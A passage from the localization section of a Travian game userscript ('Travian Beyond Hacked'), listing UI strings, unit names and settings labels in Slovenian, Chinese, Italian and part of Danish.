'Prikaži pregledno tabelo vasi',\n\t'TAB27': 'Slike zasebnega serverja: [ ]<br>Slike Travian serverja: [x]',\n\t'TAB28': 'Vpiši ID metropole (mpr: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Prikaži dodatne ikone',\n\t'TAB30': 'Prikaži Simulator Bitk [berichte]',\n\t'TAB31': 'Prikaži BBcode pomoč',\n\t'TAB32': 'Obarvaj stopnje surovinskih polj',\n\t'CLEAN': ' Počisti',\n\t'PAL': 'Palača',\n\t'RESI': 'Rezidenca',\n\t'MAN': 'Herojeva rezidenca',\n\t'USI': 'Izdelovalec oklepov',\n\t'ARM': 'Izdelovalec orožja',\n\t'HOT': 'Mestna hiša',\n\t'IGMTITLE': 'Predmet',\n\t'IGMSENTER': 'Pošiljatelj',\n\t'IGMDATE': 'Datum',\n\t'IGMTIME': 'čas',\n\t'IGMOUTPUT': 'Prikaži vsebino sporočil',\n\t'MAXTIME': 'Maksimalen čas',\n\t'LOGIN': 'Prijava',\n\t'TT': 'Pregled',\n\t'RESS': 'Surovine',\n\t'DEP': 'Skladišče',\n\t'PC': 'Kulturne Točke',\n\t'TROP': 'Enote',\n\t'MINI': 'Mini',\n\t'ATT': 'Napadi',\n\t'CONS': 'Stavba',\n\t'FT': 'Festival',\n\t'FT1': 'Majhen festival',\n\t'FT2': 'Gromozanski festival',\n\t'EXT': 'Razširitev',\n\t'IN': 'v',\n\t'JUGADOR': 'Igralec',\n\t'HAB': 'Populacija',\n\t'COORD': 'Koordinate',\n\t'ACCION': 'Možnosti',\n\t'MAPSCAN': 'Preglej mapo',\n\t'aid': 'Pomoč',\n\t'VITS': 'Hitrost',\n\t'CAPA': 'Kapaciteta',\n\t'DIST': 'Razdalja',\n\t'MP': 'Dodaj k zaznamkom',\n\t'UPDATE_CHECK': 'Preveri različico',\n\t'LAST_VERSION': 'Uporabljaš zadnjo verzijo',\n\t'NEW_VERSION': 'Na voljo je novejša verzija',\n\t'UPDATE_NOW': 'Nadgradi sedaj',\n\t'R1': 'Legionar', //Rimljani\n\t'R2': 'Praetorijan',\n\t'R3': 'Imperijan',\n\t'R4': 'Izvidnik',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Oblegovalni oven',\n\t'R8': 'Ognjeni katapult',\n\t'R9': 'Senator',\n\t'R10': 'Kolonist',\n\t'T1': 'Gorjačar', //Tevtoni\n\t'T2': 'Suličar',\n\t'T3': 'Metalec sekir',\n\t'T4': 'Skavt',\n\t'T5': 'Paladin',\n\t'T6': 'Tevtonski vitez',\n\t'T7': 'Oblegovalni oven',\n\t'T8': 'Mangonel',\n\t'T9': 'Vodja',\n\t'T10': 'Kolonist',\n\t'G1': 'Falanga', //Galci\n\t'G2': 'Mečevalec',\n\t'G3': 'Stezosledec',\n\t'G4': 'Theutatesova Strela',\n\t'G5': 'Druid',\n\t'G6': 'Haeduan',\n\t'G7': 'Oblegovalni oven',\n\t'G8': 'Trebušet',\n\t'G9': 'Poglavar',\n\t'G10': 'Kolonist',\n\t'N1': 'Podgana', //Narava\n\t'N2': 'Pajek',\n\t'N3': 'Kača',\n\t'N4': 'Netopir',\n\t'N5': 'Merjasec',\n\t'N6': 'Volk',\n\t'N7': 'Medved',\n\t'N8': 'Krokodil',\n\t'N9': 'Tiger',\n\t'N10': 'Slon',\n\t'LVL': 'stopnja',\n\t'MARC': 'Trgovcev',\n\t'TOTAL': 'Skupaj',\n\t'WASTED_SPACE' : 'Ostane',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Pomembno',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Besedila',\n\t'SAVEREPORT': 'Shrani Poročilo',\n\t'ANONYMIZE': 'Anonimno',\n\t'LBA0':'Velikost napada',\n\t'LBA2':'Skupen seštevek obrambe proti pehoti',\n\t'LBA3':'Skupen seštevek obrambe proti konjenici',\n\t'LBA4':'Splošna statistika',\n\t'LBA5':'Razlika v izgubah',\n\t'LBA6':'Poraba',\n\t'LBA7':'Izkušnje herojev',\n\t'LBA9':'Skupek izgub v žitu',\n\t'LBA10':'Poraba vojske v žitu',\n\t'LBA11':'Heroj ni bil',\n\t'LBA12':'Heroj',\n\t'LBA13':'Količina odnešenih surovin',\n\t'LBA14':'Maksimalna količina brez izgub',\n\t'LBA15':'Napadanje',\n\t'LBA16':'Branjenje',\n\t'BBC': 'BB koda:',\n\t'BBC_B': 'Krepko: [b]Besedilo[/b]',\n\t'BBC_I': 'Ležeče: [i]Besedilo[/i]',\n\t'BBC_U': 'Podčrtano: [u]Besedilo[/u]',\n\t'BBC_C': 'Na sredino: [c]Besedilo[/c]',\n\t'BBC_COLOR': 'Barve: [color=blue]Besedilo[/color] Namig: Lahko uporabljate tudi: color=#0000FF in #00F',\n\t'BBC_URL': 'Link: [url]http://url[/url] ali [url=http://url]Ime Linka[/url]'\n\t}\n\tbreak;\n\tcase \"cn\":\t\t// 由 Force Rock WONG 翻译\n\tvar newLang = {\n\t'ALIANZA': '联盟',\n\t'SIM': '战斗模拟器',\n\t'SEGURO': '你确定?',\n\t'MARK': '全选',\n\t'PERDIDAS': '损失',\n\t'RENT': '收益率',\n\t'SUBIR_NIVEL': '可升级',\n\t'ALDEA': '村庄',\n\t'ATACAR': '攻击',\n\t'COMERCIAR': '运送资源',\n\t'GUARDADO': '已保存',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': '需要',\n\t'HOY': '今天',\n\t'MANYANA': '明天',\n\t'PAS_MANYANA': '后天',\n\t'MERCADO': '市场',\n\t'CUARTEL': '兵营',\n\t'PUNTO': '集结点',\n\t'CORRAL': '马厩',\n\t'TALLER': '工场',\n\t'ENVIAR': '运送资源',\n\t'COMPRAR': '买进',\n\t'VENDER': '卖出',\n\t'ENVIAR_IGM': '撰写消息',\n\t'LISTO': '升级可于',\n\t'EL': ' ',\n\t'A_LAS': '的',\n\t'EFICIENCIA': '运载率',\n\t'NUNCA': '无法满足',\n\t'PC': '文明度',\n\t'FUNDAR': '可以兴建或占领一座村庄',\n\t'TIEMPO': '时间',\n\t'STAT': 'Statistic',\n\t'OFREZCO': '提供',\n\t'BUSCO': '查找',\n\t'TIPO': '种类',\n\t'CUALQUIERA': '任意',\n\t'DISPONIBLE': '仅显示可用',\n\t'SI': '是',\n\t'NO': '否',\n\t'MARCADORES': '书签',\n\t'ANYADIR': '添加',\n\t'ENLACE': '新书签URL',\n\t'TEXTO': '新书签名',\n\t'ARCHIVE': '存档',\n\t'ELIMINAR': '删除',\n\t'ACTUALIZAR': '刷新',\n\t'REFRESH_INFORMARION': '刷新信息',\n\t'RESUMEN': '总览',\n\t'RECURSO1': '木材',\n\t'RECURSO2': '泥土',\n\t'RECURSO3': '铁块',\n\t'RECURSO4': '粮食',\n\t'ALDEA_EXTRA1': '出兵',\n\t'ALDEA_EXTRA2': '运送资源',\n\t'ALDEA_EXTRA3': '回中心地图',\n\t'ALDEA_EXTRA4': '村落概貌',\n\t'ALDEA_EXTRA5': '村庄中心',\n\t'ALDEA_EXTRA6': 'TSU中的信息',\n\t'ALDEA_EXTRA6B': 'Travian World Analyzer中的信息',\n\t'ALDEA_EXTRA7': 'Travian-search中的信息',\n\t'ALDEA_EXTRA8': '用Travmap定位',\n\t'ADD_ALL': '每种',\n\t'DEMO': '中心大楼',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': '距离&时间',\n\t'TAB1': '对于 用Travmap定位 (红色), 将多个联盟之间用逗号分开.(例: A,B,C)',\n\t'TAB2': '编辑书签',\n\t'TAB3': '记事本内容',\n\t'TAB4': '市场售价',\n\t'TAB5': '显示 资源建筑表',\n\t'TAB6': '显示 中心建筑表',\n\t'TAB7': '显示 爆仓提示',\n\t'TAB8': '书签 行政',\n\t'TAB9': '书签 军事',\n\t'TAB10': '书签 增强',\n\t'TAB11': '书签 自定义',\n\t'TAB12': '显示 书签',\n\t'TAB13': '显示 TSU中的信息',\n\t'TAB13B': '显示 Travian World Analyzer中的信息',\n\t'TAB14': '显示 Travian-search中的信息',\n\t'TAB15': '显示 建筑等级',\n\t'TAB16': '显示 消息内容',\n\t'TAB17': '显示 记事本',\n\t'TAB18': '显示 用Travmap定位',\n\t'TAB19': '书签 市政厅',\n\t'TAB20': '简化左侧链接列表',\n\t'TAB21': '简化村庄总览',\n\t'TAB22': '村庄总览位置',\n\t'TAB23': '攻击:抢夺 / 攻击:普通',\n\t'TAB24': '爆仓提示位置',\n\t'TAB25': '显示 村庄中的军队总量 (集结点)',\n\t'TAB26': '显示 村庄总览表',\n\t'TAB27': '私服图片: [ ]<br> 官服图片: [x]',\n\t'TAB28': '填写首都/主村ID (例: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': '显示 扩展图标',\n\t'TAB30': '显示 战斗分析',\n\t'TAB31': '显示 BBcode帮助',\n\t'TAB32': '显示 资源建筑等级',\n\t'TAB33': '显示 NPC助手',\n\t'TAB34': '显示 快捷报告',\n\t'TAB35': '弹出信息中的单位速度(例 参议员: 4)',\n\t'CLEAN': '清除',\n\t'PAL': '皇宫',\n\t'RESI': '行宫',\n\t'MAN': '英雄园',\n\t'USI': '军械库',\n\t'ARM': '铁匠铺',\n\t'HOT': '市政厅',\n\t'IGMTITLE': '主题',\n\t'IGMSENTER': '发件人',\n\t'IGMDATE': '日期',\n\t'IGMTIME': '时间',\n\t'IGMOUTPUT': '显示所有消息内容',\n\t'MAXTIME': '最高需时',\n\t'LOGIN': '登录',\n\t'TT': '概况',\n\t'RESS': '资源',\n\t'DEP': '仓库',\n\t'PC': '文明度',\n\t'TROP': '军队',\n\t'MINI': '简化',\n\t'ATT': '攻击',\n\t'CONS': '建筑',\n\t'FT': '活动',\n\t'FT1': '小型活动',\n\t'FT2': '大型活动',\n\t'EXT': '扩张',\n\t'IN': 'in',\n\t'JUGADOR': '玩家',\n\t'HAB': '人口',\n\t'COORD': '坐标',\n\t'ACCION': '行动',\n\t'MAPSCAN': '扫描地图',\n\t'AID': '帮助',\n\t'VITS': '速度',\n\t'CAPA': '运载量',\n\t'DIST': '距离',\n\t'MP': '添加到书签',\n\t'UPDATE_CHECK': '检查更新',\n\t'LAST_VERSION': '正在使用最新版本',\n\t'NEW_VERSION': '新版本可用',\n\t'UPDATE_NOW': '现在升级',\n\t'R1': '古罗马步兵', // Romans\n\t'R2': '禁卫兵',\n\t'R3': '帝国兵',\n\t'R4': '使节骑士',\n\t'R5': '帝国骑士',\n\t'R6': '将军骑士',\n\t'R7': '冲撞车',\n\t'R8': '火焰投石器',\n\t'R9': '参议员',\n\t'R10': '拓荒者',\n\t'T1': '棍棒兵', // Teutons\n\t'T2': '矛兵',\n\t'T3': '斧头兵',\n\t'T4': '侦察兵',\n\t'T5': '圣骑士',\n\t'T6': '日尔曼骑兵',\n\t'T7': '冲撞车',\n\t'T8': '投石器',\n\t'T9': '执政官',\n\t'T10': '拓荒者',\n\t'G1': '方阵兵', // Gauls\n\t'G2': '剑士',\n\t'G3': '探路者',\n\t'G4': '雷法师',\n\t'G5': '德鲁伊骑兵',\n\t'G6': '海顿圣骑士',\n\t'G7': '冲撞车',\n\t'G8': '投石器',\n\t'G9': '首领',\n\t'G10': '拓荒者',\n\t'N1': '老鼠', // Nature\n\t'N2': '蜘蛛',\n\t'N3': '蛇',\n\t'N4': '蝙蝠',\n\t'N5': '野猪',\n\t'N6': '狼',\n\t'N7': '熊',\n\t'N8': '鳄鱼',\n\t'N9': '老虎',\n\t'N10': '大象',\n\t'LVL': '等级',\n\t'MARC': '商人',\n\t'TOTAL': '总量',\n\t'WASTED_SPACE' : '浪费空间',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked: 主要功能',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked: 文本',\n\t'SAVEREPORT': '保存报告',\n\t'ANONYMIZE': '匿名',\n\t'LBA0':'总攻击力',\n\t'LBA2':'对步兵总防御力',\n\t'LBA3':'对骑兵总防御力',\n\t'LBA4':'总体状况',\n\t'LBA5':'双方得失',\n\t'LBA6':'粮食消耗',\n\t'LBA7':'英雄经验',\n\t'LBA9':'总得失量',\n\t'LBA10':'军队的粮食消耗',\n\t'LBA11':'无英雄',\n\t'LBA12':'英雄',\n\t'LBA13':'抢走资源总量',\n\t'LBA14':'最大生存运载量',\n\t'LBA15':'攻击',\n\t'LBA16':'防御',\n\t'LBA17': '复制并转到战斗模拟器',\n\t'LBA18': '粘贴',\n\t'BBC': '可用的 BBcodes',\n\t'BBC_B': '粗体: [b]文本[/b]',\n\t'BBC_I': '斜体: [i]文本[/i]',\n\t'BBC_U': '下划线: [u]文本[/u]',\n\t'BBC_C': '居中: [c]文本[/c]',\n\t'BBC_COLOR': '颜色: [color=blue]文本[/color] 提示: 也可以使用: color=#0000FF 和 #00F',\n\t'BBC_URL': '链接: [url]http://url[/url] 或 [url=http://url]显示文本[/url]',\n\t'BBC_IMG': '图片: [img]URL[/img]',\n\t'THS0': '目前',\n\t'THS1': '升级',\n\t'THS2': '尚须'\n\t}\n\tbreak;\n\tcase \"tw\": // translate by evildeepblue\n\tcase \"hk\":\n\tvar newLang = {\n\t'ALIANZA': '聯盟',\n\t'SIM': '戰鬥模擬器',\n\t'SEGURO': '你確定嗎?',\n\t'MARK': '全選',\n\t'PERDIDAS': '損失',\n\t'RENT': '獲利率',\n\t'SUBIR_NIVEL': '已經可以升級',\n\t'ALDEA': '村莊',\n\t'ATACAR': '攻擊',\n\t'COMERCIAR': '運送資源',\n\t'GUARDADO': '已儲存',\n\t'DESP_ABR': '移動',\n\t'FALTA': '需要',\n\t'HOY': '今天',\n\t'MANYANA': '明天',\n\t'PAS_MANYANA': '後天',\n\t'MERCADO': '市場',\n\t'CUARTEL': '兵營',\n\t'PUNTO': '集結點',\n\t'CORRAL': '馬癜',\n\t'TALLER': '工場',\n\t'ENVIAR': '運送資源',\n\t'COMPRAR': '買進',\n\t'VENDER': '賣出',\n\t'ENVIAR_IGM': '撰寫訊息',\n\t'LISTO': '升級可於',\n\t'EL': ' ',\n\t'A_LAS': '的',\n\t'EFICIENCIA': '運載率',\n\t'NUNCA': '無法滿足',\n\t'PC': '文明度',\n\t'FUNDAR': 'You can found or conquer a new village',\n\t'TIEMPO': '時間',\n\t'STAT': '統計',\n\t'OFREZCO': '提供',\n\t'BUSCO': '尋找',\n\t'TIPO': '種類',\n\t'CUALQUIERA': '任意',\n\t'DISPONIBLE': '僅顯示可用',\n\t'SI': '是',\n\t'NO': '否',\n\t'MARCADORES': '書籤',\n\t'ANYADIR': '新增',\n\t'ENLACE': '新書籤網址',\n\t'TEXTO': '新書籤名稱',\n\t'ARCHIVE': '存檔',\n\t'ELIMINAR': '刪除',\n\t'ACTUALIZAR': '更新',\n\t'REFRESH_INFORMARION': '更新訊息',\n\t'RESUMEN': '總覽',\n\t'RECURSO1': '木材',\n\t'RECURSO2': '泥土',\n\t'RECURSO3': '鐵塊',\n\t'RECURSO4': '糧食',\n\t'ALDEA_EXTRA1': '出兵',\n\t'ALDEA_EXTRA2': '運送資源',\n\t'ALDEA_EXTRA3': '回地圖中心',\n\t'ALDEA_EXTRA4': '村莊概況',\n\t'ALDEA_EXTRA5': '村莊中心',\n\t'ALDEA_EXTRA6': 'TSU人口成長訊息',\n\t'ALDEA_EXTRA6B': 'Travian World Analyzer人口成長訊息',\n\t'ALDEA_EXTRA7': 'Travian-search地圖位置搜尋',\n\t'ALDEA_EXTRA8': '使用Travmap定位',\n\t'ADD_ALL': '每種',\n\t'DEMO': '拆掉建築',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': '距離與時間',\n\t'TAB1': '用Travmap定位(紅色)時,將多個聯盟間用逗號分開.(如: A,B,C)',\n\t'TAB2': '編輯書籤',\n\t'TAB3': '筆記本內容',\n\t'TAB4': '市場售價',\n\t'TAB5': '顯示資源建築表(0 或 1)',\n\t'TAB6': '顯示中心建築表(0 或 1)',\n\t'TAB7': '顯示爆倉提示(0 或 1)',\n\t'TAB8': '書籤行政(0 或 1)',\n\t'TAB9': '書籤軍事(0 或 1)',\n\t'TAB10': '書籤增強(0 或 1)',\n\t'TAB11': '書籤自定義(0 或 1)',\n\t'TAB12': '顯示書籤',\n\t'TAB13': '顯示TSU中的訊息(0 或 1)',\n\t'TAB13B': '顯示Travian World Analyzer中的訊息(0 或 1)',\n\t'TAB14': '顯示Travian-search中的訊息(0 或 1)',\n\t'TAB15': '顯示建築等級(0 或 1)',\n\t'TAB16': '顯示訊息內容(0 或 1)',\n\t'TAB17': '顯示筆記本(0 或 1)',\n\t'TAB18': '顯示用Travmap定位(0 或 1)',\n\t'TAB19': '書籤村莊大樓(0 or 1)',\n\t'TAB20': '簡化左側連結清單(0 or 1)',\n\t'TAB21': '簡化村莊總覽(0 or 1)',\n\t'TAB22': '村莊總覽位置(0 or 1)',\n\t'TAB23': '攻擊:搶奪/攻擊:普通(0 or 1)',\n\t'TAB24': '爆倉提示位置(0 or 1)',\n\t'TAB25': '顯示村莊中的軍隊總量(集結點) (0 or 1)',\n\t'TAB26': '顯示村莊總覽表(0 or 1)',\n\t'TAB27': '私服圖片: 0<br>官服圖片: 1',\n\t'CLEAN': '清除',\n\t'PAL': '皇宮',\n\t'RESI': '行宮',\n\t'MAN': '英雄館',\n\t'USI': '軍械庫',\n\t'ARM': '鐵匠',\n\t'HOT': '村莊大樓',\n\t'IGMTITLE': '主題',\n\t'IGMSENTER': '發件人',\n\t'IGMDATE': '日期',\n\t'IGMTIME': '時間',\n\t'IGMOUTPUT': '顯示所有訊息內容',\n\t'MAXTIME': '最高需時',\n\t'LOGIN': '登入',\n\t'TT': '概況',\n\t'RESS': '資源',\n\t'DEP': '倉庫',\n\t'PC': '文明度',\n\t'TROP': '軍隊',\n\t'MINI': '簡化',\n\t'ATT': '攻擊',\n\t'CONS': '建築',\n\t'FT': '活動',\n\t'FT1': '小型派對',\n\t'FT2': '大型派對',\n\t'EXT': '擴張',\n\t'IN': 'in',\n\t'JUGADOR': '玩家',\n\t'HAB': '人口',\n\t'COORD': '座標',\n\t'ACCION': '行動',\n\t'MAPSCAN': '掃描地圖',\n\t'AID': '說明',\n\t'VITS': '速度',\n\t'CAPA': '載運量',\n\t'DIST': '距離',\n\t'MP': '新增到書籤',\n\t'UPDATE_CHECK': '檢查更新',\n\t'LAST_VERSION': '正在使用最新版本',\n\t'NEW_VERSION': '新版本可用',\n\t'UPDATE_NOW': '現在升級',\n\t'R1': '古羅馬步兵', // 羅馬\n\t'R2': '禁衛兵',\n\t'R3': '帝國兵',\n\t'R4': '使節騎士',\n\t'R5': '帝國騎士',\n\t'R6': '將軍騎士',\n\t'R7': '衝撞車',\n\t'R8': '火焰投石器',\n\t'R9': '參議員',\n\t'R10': '拓荒者',\n\t'T1': '棍棒兵', // 條頓\n\t'T2': '矛兵',\n\t'T3': '斧頭兵',\n\t'T4': '偵察兵',\n\t'T5': '聖騎士',\n\t'T6': '日爾曼騎兵',\n\t'T7': '衝撞車',\n\t'T8': '投石器',\n\t'T9': '執政官',\n\t'T10': '拓荒者',\n\t'G1': '方陣兵', // 高盧\n\t'G2': '劍士',\n\t'G3': '探路者',\n\t'G4': '雷法師',\n\t'G5': '德魯伊騎兵',\n\t'G6': '海頓聖騎士',\n\t'G7': '衝撞車',\n\t'G8': '投石器',\n\t'G9': '首領',\n\t'G10': '拓荒者',\n\t'N1': '老鼠', // 自然界\n\t'N2': '蜘蛛',\n\t'N3': '蛇',\n\t'N4': '蝙蝠',\n\t'N5': '野豬',\n\t'N6': '狼',\n\t'N7': '熊',\n\t'N8': '鱷魚',\n\t'N9': '老虎',\n\t'N10': '大象',\n\t'LVL': '等級',\n\t'MARC': '商人'\n\t}\n\tbreak;\n\tcase \"it\": // italian by Boris\n\tvar newLang = {\n\t'ALIANZA': 'Alleanza',\n\t'SIM': 'Simulatore Combattimento',\n\t'SEGURO': 'Sei sicuro?',\n\t'MARK': 'Seleziona tutto',\n\t'PERDIDAS': 'Costi',\n\t'RENT': 'Ricavi',\n\t'SUBIR_NIVEL': 'Livello disponibile',\n\t'ALDEA': 'Villaggio',\n\t'ATACAR': 'Attacco',\n\t'COMERCIAR': 'Commercia risorse',\n\t'GUARDADO': 'Salvato',\n\t'DESP_ABR': 'Muovi',\n\t'FALTA': 'Manca',\n\t'HOY': 'oggi',\n\t'MANYANA': 'domani',\n\t'PAS_MANYANA': 'dopo domani',\n\t'MERCADO': 'Mercato',\n\t'CUARTEL': 'Fanteria',\n\t'PUNTO': 'Caserma',\n\t'CORRAL': 'Scuderia',\n\t'TALLER': 'Officina',\n\t'ENVIAR': 'Mercato',\n\t'COMPRAR': 'Compra',\n\t'VENDER': 'Vendi',\n\t'ENVIAR_IGM': 'Invia Messaggio',\n\t'LISTO': 'Pronto',\n\t'EL': 'il',\n\t'A_LAS': 'alle',\n\t'EFICIENCIA': 'Efficienza',\n\t'NUNCA': 'Mai',\n\t'PC': 'Punti cultura',\n\t'FUNDAR': 'Puoi fondare o conquistare un nuovo villaggio',\n\t'TIEMPO': 'Tempo',\n\t'STAT': 'Statistiche',\n\t'OFREZCO': 'Offerta',\n\t'BUSCO': 'Ricerca',\n\t'TIPO': 'Tipo',\n\t'CUALQUIERA': 'Tutti',\n\t'DISPONIBLE': 'Disponibili',\n\t'SI': 'Si',\n\t'NO': 'No',\n\t'MARCADORES': 'Links',\n\t'ANYADIR': 'Aggiungi',\n\t'ENLACE': 'URL del nuovo link',\n\t'TEXTO': 'Testo del nuovo link',\n\t'ARCHIVE': 'Archivio',\n\t'ELIMINAR': 'Elimina',\n\t'ACTUALIZAR': 'Aggiorna',\n\t'REFRESH_INFORMARION': 'Aggiorna Dati',\n\t'RESUMEN': 'Sommario',\n\t'RECURSO1': 'Legno',\n\t'RECURSO2': 'Argilla',\n\t'RECURSO3': 'Ferro',\n\t'RECURSO4': 'Grano',\n\t'ALDEA_EXTRA1': 'Invia Truppe',\n\t'ALDEA_EXTRA2': 'Invia Risorse',\n\t'ALDEA_EXTRA3': 'Centra sulla mappa',\n\t'ALDEA_EXTRA4': 'Vista globale del villaggio',\n\t'ALDEA_EXTRA5': 'Centro del villaggio',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Localizza su Travmap',\n\t'ADD_ALL': 'Per tutti ',\n\t'DEMO': 'Démolisci Costruzione',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Distanze e Tempi',\n\t'TAB1': 'Per localizzare su Travian-map (in rosso) puoi separare multiple alleanze con la virgola (ex: A,B,C)',\n\t'TAB2': 'Edita links',\n\t'TAB3': 'Blocco Note',\n\t'TAB4': 'Prezzo di vendita al mercato',\n\t'TAB5': 'Tabella risorse (0 o 1)',\n\t'TAB6': 'Tabella costruzioni (0 o 1)',\n\t'TAB7': 'Visualizza contatori deposito(0 o 1)',\n\t'TAB8': 'Visualizza links Palazzi (0 o 1)',\n\t'TAB9': 'Visualizza links Esercito (0 o 1)',\n\t'TAB10': 'Visualizza links Ampliamento (0 o 1)',\n\t'TAB11': 'Visualizza links Personali (0 ou 1)',\n\t'TAB12': 'Visualizza links',\n\t'TAB13': 'Visualizza Info TSU (0 o 1)',\n\t'TAB13B': 'Visualizza Info Travian World Analyzer (0 o 1)',\n\t'TAB14': 'Visualizza Info Travian-search (0 o 1)',\n\t'TAB15': 'Visualizza N° su costruzioni (0 o 1)',\n\t'TAB16': 'Visualizza il contenuto dei messaggi (0 o 1)',\n\t'TAB17': 'Visualizza il blocco note (0 o 1)',\n\t'TAB18': 'Visualizza Info Travmap (0 o 1)',\n\t'TAB19': 'Visualizza link Municipio (0 o 1)',\n\t'TAB20': 'Semplificare la lista dei links a sinistra (0 o 1)',\n\t'TAB21': 'Semplificare il sommario dei villaggi (0 o 1)',\n\t'TAB22': 'Riposizionare il sommario dei villaggi (0 ou 1)',\n\t'TAB23': 'Attacco: Raid / Attacco: Normale (0 o 1)',\n\t'TAB24': 'Riposizionare il contatore del deposito(0 o 1)',\n\t'TAB25': 'Visualizza totale truppe in caserma (0 o 1)',\n\t'TAB26': 'Visualizza sommario villaggio (0 o 1)',\n\t'TAB27': 'Server immagini personale : 0<br>Server immagini di Travian: 1',\n\t'CLEAN': ' Pulisci',\n\t'PAL': 'Castello',\n\t'RESI': 'Palazzo',\n\t'MAN': 'Circolo degli Eroi',\n\t'USI': 'Armeria',\n\t'ARM': 'Fabbro',\n\t'HOT': 'Municipio',\n\t'IGMTITLE': 'Oggetto',\n\t'IGMSENTER': 'Mittente',\n\t'IGMDATE': 'Data',\n\t'IGMTIME': 'Ora',\n\t'IGMOUTPUT': 'Visualizza il contenuto dei messaggi',\n\t'MAXTIME': 'Tempo massimo',\n\t'LOGIN': 'Accesso',\n\t'TT': 'Vista globale',\n\t'RESS': 'Risorse',\n\t'DEP': 'Depositi',\n\t'PC': 'Punti Cultura',\n\t'TROP': 'Truppe',\n\t'MINI': 'Ridotto',\n\t'ATT': 'Attacchi',\n\t'CONS': 'Costruzioni',\n\t'FT': 'Feste',\n\t'FT1': 'Piccola festa',\n\t'FT2': 'Grande Festa',\n\t'EXT': 'Ampliamento',\n\t'IN': 'in',\n\t'JUGADOR': 'Giocatore',\n\t'HAB': 'Popolazione',\n\t'COORD': 'Coordinate',\n\t'ACCION': 'Azioni',\n\t'MAPSCAN': 'Visualizza Risorse',\n\t'AID': 'Aiuto',\n\t'VITS': 'Velocità',\n\t'CAPA': 'Capacità',\n\t'DIST': 'Distanza',\n\t'MP': 'Imposta link ',\n\t'UPDATE_CHECK': 'Verifica versione',\n\t'LAST_VERSION': 'Avete la ultima versione disponibile',\n\t'NEW_VERSION': 'Una nuova versione è disponibile',\n\t'UPDATE_NOW': 'Aggiorna ora',\n\t'R1': 'Legionari', //romain\n\t'R2': 'Prétoriani',\n\t'R3': 'Impériani',\n\t'R4': 'Legionari a cavallo',\n\t'R5': 'Imperiani a cavallo',\n\t'R6': 'Cavallerie Romana',\n\t'R7': 'Arieti da sfondamento',\n\t'R8': 'Catapulte',\n\t'R9': 'Senatori',\n\t'R10': 'Decurioni',\n\t'T1': 'Combattenti', //teuton\n\t'T2': 'Lancieri',\n\t'T3': 'Combattenti con ascia',\n\t'T4': 'Esploratori',\n\t'T5': 'Paladini',\n\t'T6': 'Cavallerie Teutoni',\n\t'T7': 'Arieti',\n\t'T8': 'Catapulte',\n\t'T9': 'Comandanti',\n\t'T10': 'Decurioni',\n\t'G1': 'Lancieri', //gaulois\n\t'G2': 'Combattenti con spada',\n\t'G3': 'Esploratori',\n\t'G4': 'Cavallerie Galliche',\n\t'G5': 'Cavallerie di Difesa',\n\t'G6': 'Cavallerie Avanzate',\n\t'G7': 'Arieti',\n\t'G8': 'Catapulte',\n\t'G9': 'Capi Tribù',\n\t'G10': 'Decurioni',\n\t'N1': 'Topi', //nature\n\t'N2': 'Ragni',\n\t'N3': 'Serpenti',\n\t'N4': 'Pipistrelli',\n\t'N5': 'Cinghiali',\n\t'N6': 'Lupi',\n\t'N7': 'Orsi',\n\t'N8': 'Coccodrilli',\n\t'N9': 'Tigri',\n\t'N10': 'Elefanti',\n\t'LVL': 'livello',\t\t//tres important\n\t'MARC': 'Mercanti',\t\t//tres important\n\t'TEST': 'test'\t\t\t//pour les tests\n\t}\n\tbreak;\n\tcase 'dk':\n\tvar newLang = {\n\t'ALIANZA': 'Alliance',\n\t'SIM': 'Kampsimulator',\n\t'SEGURO': 'Er du sikker?',\n\t'MARK': 'Vælg alle',\n\t'PERDIDAS': 'Tab',\n\t'RENT': 'Overskud',\n\t'SUBIR_NIVEL': 'Udvidelse til rådighed',\n\t'ALDEA': 'Village Name',\n\t'ATACAR': 'Angrib',\n\t'COMERCIAR': 'Send ressourcer',\n\t'GUARDADO': 'Gemt',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Du mangler',\n\t'HOY': 'I dag',\n\t'MANYANA': 'I morgen',\n\t'PAS_MANYANA': 'i over morgen',\n\t'MERCADO': 'Markedsplads',\n\t'CUARTEL': 'Kaserne',\n\t'PUNTO': 'Forsamlingsplads',\n\t'CORRAL': 'Stald',\n\t'TALLER': 'Værksted',\n\t'ENVIAR': 'Send ressourcer',\n\t'COMPRAR': 'Køb',\n\t'VENDER': 'Sælg',\n\t'ENVIAR_IGM': 'Send IGM',\n\t'LISTO': 'Klar',\n\t'EL': 'on',\n\t'A_LAS': 'at',\n\t'EFICIENCIA': 'Effektivitet',\n\t'NUNCA': 'Aldrig',\n\t'PC': 'kultur points',\n\t'FUNDAR': 'Du kan grundlægge eller overtage en ny by',\n\t'TIEMPO': 'Tid',\n\t'STAT': 'Statistik',\n\t'OFREZCO': 'Tilbyder',\n\t'BUSCO': 'Søger',\n\t'TIPO': 'Type',\n\t'CUALQUIERA': 'Enhver',\n\t'DISPONIBLE': 'Kun til rådighed',\n\t'SI': 'Ja',\n\t'NO': 'Nej',\n\t'MARCADORES': 'Bogmærker',\n\t'ANYADIR': 'Tilføj',\n\t'ENLACE': 'Ny Bogmærker URL',\n\t'TEXTO': 'Ny Bogmærker Text',\n\t'ARCHIVE': 'Archive',\n\t'ELIMINAR': 'Fjern',\n\t'ACTUALIZAR': 'Opdater',\n\t'REFRESH_INFORMARION': 'Opdater Info',\n\t'RESUMEN': 'Oversigt',\n\t'RECURSO1': 'Træ',\n\t'RECURSO2': 'Ler',\n\t'RECURSO3': 'Jern',\n\t'RECURSO4': 'Korn',\n\t'ALDEA_EXTRA1': 'Send soldater',\n\t'ALDEA_EXTRA2': 'Send råstoffer',\n\t'ALDEA_EXTRA3': 